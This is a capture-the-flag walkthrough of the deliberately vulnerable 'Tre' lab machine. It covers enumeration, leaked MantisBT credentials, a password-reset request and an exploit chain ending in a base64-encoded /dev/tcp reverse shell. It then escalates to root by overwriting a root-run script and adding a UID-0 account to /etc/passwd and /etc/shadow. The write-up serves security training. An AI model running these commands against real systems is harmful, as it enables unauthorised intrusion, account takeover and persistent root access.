[Offensive Security] Proving Grounds - Tre
https://portal.offensive-security.com/proving-grounds/play https://www.vulnhub.com/entry/tre-1,483/
You probably do not want to climb this tre.
Footprint
Open ports
The Nmap scan shows 3 open ports:
kali@kali:~$ sudo nmap -v -sS -v -oA syn_full 192.168.198.84
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
8082/tcp open blackice-alerts syn-ack ttl 63
kali@kali:~$ sudo nmap -v -sC -sV -oA nse 192.168.198.84
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 99:1a:ea:d7:d7:b3:48:80:9f:88:82:2a:14:eb:5f:0e (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDHMd6tbRI/GrqZQaWx7CAYYD22gD6KeVl/sZdKJTi7duDnBz3FqxHZBdk4mMTvupWZDLyB9/sGkb99ptqZ1TZNn+86sWvQTFR7vV+9PAQGIDs82Jta/NO9XORx3wkNVunxCaw9Iwf9AxlbY6Vc1Ot6ydEMUHo1Ha1G1i+9h5kh/7InJRF6HZgb0zmbV4n2lWWgye0dR5bLKjt/5QcKGFdv40fOIRv2/jWv/DWHJRCxRS8bS5LBfFXgdWRvu+sxeQbdzDXqCow2FeMcHQiNuuVpnrmnFAg7GdrA36srgnXO2ZXEGijFZehfnINkdUnqGMYY4kb03nDDZPO29Ami/zQP
| 256 f4:f6:9c:db:cf:d4:df:6a:91:0a:81:05:de:fa:8d:f8 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBDp3d72lJQsYyph4NbauO2u1nMokOTYcPPWH193ps7xb1euNLKSjJp1OtEwuhzu3lvUGxEQU3ISm9uj2g1sr0lk=
| 256 ed:b9:a9:d7:2d:00:f8:1b:d3:99:d6:02:e5:ad:17:9f (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMuyBmHN7xrwj6KcGc2WT2NP0jIsGmRxMZkCBkr2SKrB
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.38 ((Debian))
| http-methods:
|_ Supported Methods: OPTIONS HEAD GET POST
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Tre
8082/tcp open http syn-ack ttl 63 nginx 1.14.2
| http-methods:
|_ Supported Methods: GET HEAD
|_http-server-header: nginx/1.14.2
|_http-title: Tre
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
HTTP
Enumeration
The web server runs under Apache 2.4.38, and its main web page simply loads an image:
>>>
GET / HTTP/1.1
Host: 192.168.198.84
<<<
HTTP/1.1 200 OK
Server: Apache/2.4.38 (Debian)
<body oncontextmenu="return false;">
<html>
<head>
<title>Tre</title>
</head>
<body bgcolor="#FFFFF">
<center>
<img src="/file.jpg" class="center" align="center" >
The same behavior can be seen on port 8082 (except it runs nginx):
>>>
GET / HTTP/1.1
Host: 192.168.198.84:8082
<<<
HTTP/1.1 200 OK
Server: nginx/1.14.2
<body oncontextmenu="return false;">
<html>
<head>
<title>Tre</title>
</head>
<body bgcolor="#FFFFF">
<center>
<img src="/file.jpg" class="center" align="center" >
Okay, let's enumerate !
kali@kali:~$ wordlists=("quickhits.txt" "common.txt" "dirsearch.txt" "raft-large-files-lowercase.txt" "raft-large-directories-lowercase.txt" "raft-large-words.txt" "directory-list-2.3-big.txt")
kali@kali:~$ for w in $wordlists; do ffuf -u http://192.168.198.84 -w $w -v -c -s -t 50 -fs 0; done
"http://192.168.198.84/adminer.php"
"http://192.168.198.84/cms"
[...]
"http://192.168.198.84/mantisbt/wiki.php"
"http://192.168.198.84/system"
"http://192.168.198.84/system/"
"http://192.168.198.84/system/cron/cron.txt"
"http://192.168.198.84/system/error.txt"
"http://192.168.198.84/system/log/"
"http://192.168.198.84/system/logs/"
kali@kali:~$ wordlists=("quickhits.txt" "common.txt" "dirsearch.txt" "raft-large-files-lowercase.txt" "raft-large-directories-lowercase.txt" "raft-large-words.txt" "directory-list-2.3-big.txt")
kali@kali:~$ for w in $wordlists; do ffuf -u http://192.168.198.84:8082 -w $w -v -c -s -t 50 -fs 0; done
"http://192.168.198.84:8082/index.html"
Down the rabbit holes
The /adminer.php
page doesn't seem interesting. It just contains a MySQL Login form, which we can't bypass. Also, a potential LFI couldn't be exploited:
>>>
GET /adminer.php?file=/etc/passwd&version=4.7.7 HTTP/1.1
Host: 192.168.198.84
<<<
HTTP/1.1 200 OK
Server: Apache/2.4.38 (Debian)
Content-Length: 0
No interesting exploits neither:
kali@kali:~$ searchsploit adminer
------------------------------------------------------------------------------------ ---------------------------------
Exploit Title | Path
------------------------------------------------------------------------------------ ---------------------------------
Adminer 4.3.1 - Server-Side Request Forgery | php/webapps/43593.txt
------------------------------------------------------------------------------------ ---------------------------------
Note that the version of
adminer
used is 4.4.7.
BigTree RCE
Interestingly, there is a server error with a PHP Shebang in the following response:
>>>
GET /cms/vendor/bin/jp.php HTTP/1.1
Host: 192.168.198.84
<<<
HTTP/1.0 500 Internal Server Error
#!/usr/bin/env php
Googling /cms/vendor/bin/jp.php
leads to the BigTree CMS project.
Note that this CMS matches with the title of this CTF:
Tre
.
Some exploits exist:
kali@kali:~$ searchsploit bigtree
-------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
-------------------------------------------------------------------- ---------------------------------
BigTree 4.3.4 CMS - Multiple SQL Injection | php/webapps/46623.txt
BigTree CMS 4.0 RC2 - Multiple Vulnerabilities | php/webapps/27431.txt
BigTree CMS 4.2.11 - SQL Injection | php/webapps/40024.txt
BigTree CMS 4.2.23 - Cross-Site Scripting | php/webapps/45628.txt
BigTree CMS 4.2.3 - (Authenticated) SQL Injection | php/webapps/37821.txt
BigTree CMS 4.4.10 - Remote Code Execution | php/webapps/48831.txt
-------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
And enumerating the resources in /mantisbt
discloses a configuration file in /mantisbt/config/a.txt
:
<?php
# MantisBT - A PHP based bugtracking system
[...]
# --- Database Configuration ---
$g_hostname = 'localhost';
$g_db_username = 'mantissuser';
$g_db_password = 'password@123AS';
$g_database_name = 'mantis';
$g_db_type = 'mysqli';
# --- Security ---
$g_crypto_master_salt = 'dsf34H@sds$242347832842309843294829304djfkdjsfkd'; # Random string of at least 16 chars, unique to the installation
[...]
These credentials worked in adminer ! Thus, we have access to the database, in particular to the MantisBT accounts:
Modify id username realname email password enabled protected access_level login_count lost_password_request_count failed_login_count cookie_string last_visit date_created
edit 1 administrator XiBejMub root@localhost 3492f8fe2cb409e387ddb0521c999c38 1 0 90 30 0 0 OHysKA8CiRbsM1LW0ZoWIF0gP6EGOwJovGZvGgJfDHkrPmaf2Y7qOVecYBxXDCri 1589342138 1
edit 2 tre Tr3@123456A! tre@localhost 64c4685f8da5c2225de7890c1bad0d7f 1 0 70 0 0 0 bp9uP3SY4tyKMFHSytb2RyecV5fPrsvGjb4sLboLkoyodEPn0NbZID9GhRURGAvf 1589263108 1589263108
Therefore, we can login as administrator
using his cookie in MANTIS_STRING_COOKIE:
>>>
GET /mantisbt/admin/ HTTP/1.1
Host: 192.168.198.84
Cookie: adminer_version=4.8.1; PHPSESSID=74grl6pua4skjdffut3o3c5nbq; MANTIS_secure_session=1; MANTIS_STRING_COOKIE=OHysKA8CiRbsM1LW0ZoWIF0gP6EGOwJovGZvGgJfDHkrPmaf2Y7qOVecYBxXDCri
<<<
MantisBT Installation Information
MantisBT Version 2.3.0
PHP Version 7.3.14-1~deb10u1
MantisBT Database Information
Schema Version
ADOdb Version 5.20.9
MantisBT Path Information
Site Path /var/www/html/mantisbt/
Core Path /var/www/html/mantisbt/core/
Plugin Path /var/www/html/mantisbt/plugins/
Also, the fact that Mantis Bug Tracker is vulnerable to Pre-Auth Password Reset allows us to update the administrator
's password:
>>>
POST /mantisbt/account_update.php HTTP/1.1
Host: 192.168.198.84
Cookie: PHPSESSID=e989k5ql3rpngkjj0fh7vjfo08; MANTIS_STRING_COOKIE=OHysKA8CiRbsM1LW0ZoWIF0gP6EGOwJovGZvGgJfDHkrPmaf2Y7qOVecYBxXDCri
Upgrade-Insecure-Requests: 1
verify_user_id=1&account_update_token=20220404RhaoyPZLWqKHdb7k3MFvnt8WlPKTfZsn&realname=XiBejMub&password=123&password_confirm=123
<<<
Password successfully updated.
The credentials are now administrator:123
, and this account gives more access than the previous stolen cookie. Finally, an RCE is possible using a public exploit. We just need to make sure to update the __init__
function:
def __init__(self):
self.s = requests.Session()
self.headers = dict() # Initialize the headers dictionary
self.RHOST = "192.168.198.84" # Victim IP
self.RPORT = "80" # Victim port
self.LHOST = "192.168.49.198" # Attacker IP
self.LPORT = "4444" # Attacker Port
self.verify_user_id = "1" # User id for the target account
self.realname = "administrator" # Username to hijack
self.passwd = "123" # New password after account hijack
self.mantisLoc = "/mantisbt" # Location of mantis in URL
self.ReverseShell = "echo " + b64encode("bash -i >& /dev/tcp/" + self.LHOST + "/" + self.LPORT + " 0>&1") + " | base64 -d | /bin/bash" # Reverse shell payload
This exploit chains together two CVE's to achieve unauthenticated remote code execution.
The first portion of this exploit resets the Administrator password (CVE-2017-7615) discovered by John Page a.k.a hyp3rlinx, this portion was modified from the original exploit-db.com/exploits/41890.
The second portion of this exploit takes advantage of a command injection vulnerability (CVE-2019-15715) discovered by 'permanull' (see references).
More info here.
Local Privilege Escalation
www-data
The first flag is in the tre
's folder:
www-data@tre:/home/tre$ ls -la
lsodd -la
drwxr-xr-x 2 tre tre 4096 Aug 23 2020 .
drwxr-xr-x 3 root root 4096 May 11 2020 ..
-rw-r--r-- 1 tre tre 220 May 11 2020 .bash_logout
-rw-r--r-- 1 tre tre 3526 May 11 2020 .bashrc
-rw-r--r-- 1 tre tre 807 May 11 2020 .profile
-rw-r--r-- 1 tre tre 33 Apr 4 07:11 local.txt
www-data@tre:/home/tre$ cat local.txt
a9[...]6d
No interesting flaws could be found using Linpeas
.
Nevertheless, we should not forget that the Mantis database disclosed Tre
's password:
edit 2 tre Tr3@123456A! tre@localhost 64c4685f8da5c2225de7890c1bad0d7f 1 0 70 0 0 0 bp9uP3SY4tyKMFHSytb2RyecV5fPrsvGjb4sLboLkoyodEPn0NbZID9GhRURGAvf 1589263108 1589263108
Therefore, it's worth checking if the same password is used in the SSH service:
www-data@tre:/$ grep sh$ /etc/passwd
root:x:0:0:root:/root:/bin/bash
tre:x:1000:1000:tre,,,:/home/tre:/bin/bash
kali@kali:~$ ssh tre@192.168.49.198
Password: Tr3@123456A!
tre
tre
might execute the shutdown
as root
without password:
tre@tre:~$ sudo -l
Matching Defaults entries for tre on tre:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User tre may run the following commands on tre:
(ALL) NOPASSWD: /sbin/shutdown
I couldn't find any way to exploit that binary directly. But using pspy64
, we can see the program /usr/bin/check-system
is called every second by the root
user (UID=0
):
tre@tre:/tmp/a$ ./pspy64
<DATE> CMD: UID=0 PID=5527 | /bin/bash /usr/bin/check-system
<DATE> CMD: UID=0 PID=5528 | /bin/bash /usr/bin/check-system
<DATE> CMD: UID=0 PID=5529 | /bin/bash /usr/bin/check-system
<DATE> CMD: UID=0 PID=5530 | /bin/bash /usr/bin/check-system
<DATE> CMD: UID=0 PID=5531 | /bin/bash /usr/bin/check-system
<DATE> CMD: UID=0 PID=5532 | /bin/bash /usr/bin/check-system
<DATE> CMD: UID=0 PID=5533 | /bin/bash /usr/bin/check-system
<DATE> CMD: UID=0 PID=5534 | /bin/bash /usr/bin/check-system
<DATE> CMD: UID=0 PID=5535 | /bin/bash /usr/bin/check-system
<DATE> CMD: UID=0 PID=5536 | /bin/bash /usr/bin/check-system
<DATE> CMD: UID=0 PID=5537 | /bin/bash /usr/bin/check-system
<DATE> CMD: UID=0 PID=5538 | /bin/bash /usr/bin/check-system
<DATE> CMD: UID=0 PID=5539 | /bin/bash /usr/bin/check-system
<DATE> CMD: UID=0 PID=5540 | /bin/bash /usr/bin/check-system
<DATE> CMD: UID=0 PID=5541 | /bin/bash /usr/bin/check-system
<DATE> CMD: UID=0 PID=5542 | /bin/bash /usr/bin/check-system
In particular, this process is run after the system booted (/sbin/init
), and before the apache server started (/usr/sbin/apache2 -k start
):
tre@tre:~$ ps faux |grep ^root
root 1 0.0 0.4 103964 10044 ? Ss 11:21 0:01 /sbin/init
root 258 0.0 0.4 43136 9520 ? Ss 11:21 0:02 /lib/systemd/systemd-journald
root 284 0.0 0.2 22056 5016 ? Ss 11:21 0:00 /lib/systemd/systemd-udevd
root 313 0.0 0.5 48220 10852 ? Ss 11:21 0:00 /usr/bin/VGAuthService
root 314 0.0 0.5 122624 12012 ? Ssl 11:21 0:02 /usr/bin/vmtoolsd
root 384 0.0 0.1 8504 2760 ? Ss 11:21 0:00 /usr/sbin/cron -f
root 386 0.0 0.1 6728 3300 ? Ss 11:21 0:00 /bin/bash /usr/bin/check-system
root 5835 0.0 0.0 5260 748 ? S 12:36 0:00 \_ sleep 1
root 387 0.0 0.3 19512 7264 ? Ss 11:21 0:00 /lib/systemd/systemd-logind
root 392 0.0 0.2 225824 4360 ? Ssl 11:22 0:00 /usr/sbin/rsyslogd -n -iNONE
root 435 0.0 0.0 5612 1636 tty1 Ss+ 11:22 0:00 /sbin/agetty -o -p -- \u --noclear tty1 linux
root 452 0.0 0.3 15852 6588 ? Ss 11:22 0:00 /usr/sbin/sshd -D
root 5288 0.0 0.3 16632 7732 ? Ss 12:28 0:00 \_ sshd: tre [priv]
root 5295 0.0 0.3 16632 7952 ? Ss 12:28 0:00 \_ sshd: tre [priv]
root 565 0.0 1.4 229664 29420 ? Ss 11:22 0:00 /usr/sbin/apache2 -k start
Therefore, because it is possible to overwrite this script:
tre@tre:~$ ls -l /usr/bin/check-system
-rw----rw- 1 root root 135 May 12 2020 /usr/bin/check-system
We can inject malicious commands in this file:
tre@tre:~$ echo 'chmod +s /usr/bin/nano' > /usr/bin/check-system
And restart the machine:
Note that restarting the machine requires
root
privileges. That should be why we're given privileges to run this command.
tre@tre:~$ /sbin/shutdown
Failed to set wall message, ignoring: Access denied
Failed to call ScheduleShutdown in logind, proceeding with immediate shutdown: Access denied
Failed to set wall message, ignoring: Access denied
Failed to power off system via logind: Access denied
tre@tre:~$ sudo /sbin/shutdown -r
Shutdown scheduled for <DATE> EDT, use 'shutdown -c' to cancel.
root
Finally, we may edit the /etc/passwd
and /etc/shadow
files to add a new root
user, where UID=0
:
tre@tre:~$ ls -l /bin/nano
-rwsr-sr-x 1 root root 246160 Jun 11 2019 /bin/nano
tre@tre:~$ nano /etc/passwd
root:x:0:0:root:/root:/bin/bash
root2:x:0:0:root:/root:/bin/bash
tre@tre:~$ mkpasswd -m sha-512 p4ssw0rd SomeRandomSalt
$6$SomeRandomSalt$oYHL41htdcOnDIn7v.lzuYmMdpwfz6XB9LtBHwYK5Y4ews5eycZYMSPN82nch7RoAkVT1d8ourM5vtb98xHfX1
tre@tre:~$ nano /etc/shadow
root:$6$/agZi6slRUhI4UJ6$XBKxOpSIvxCQmK6Y3TPXgL9H70wz5UIwYV3I3s5YKXImTzANNEN5DQuMHyKYUwKYm2XKvj1Izbhkp9x1i/t.H0:18451:0:99999:7:::
root2:$6$SomeRandomSalt$oYHL41htdcOnDIn7v.lzuYmMdpwfz6XB9LtBHwYK5Y4ews5eycZYMSPN82nch7RoAkVT1d8ourM5vtb98xHfX1:18451:0:99999:7:::
And read the root
flag after logging in as root2
:
tre@tre:~$ su root2
root2@tre:~# cat /root/root.txt
Your flag is in another file...
root2@tre:~# cat /root/proof.txt
65[...]0e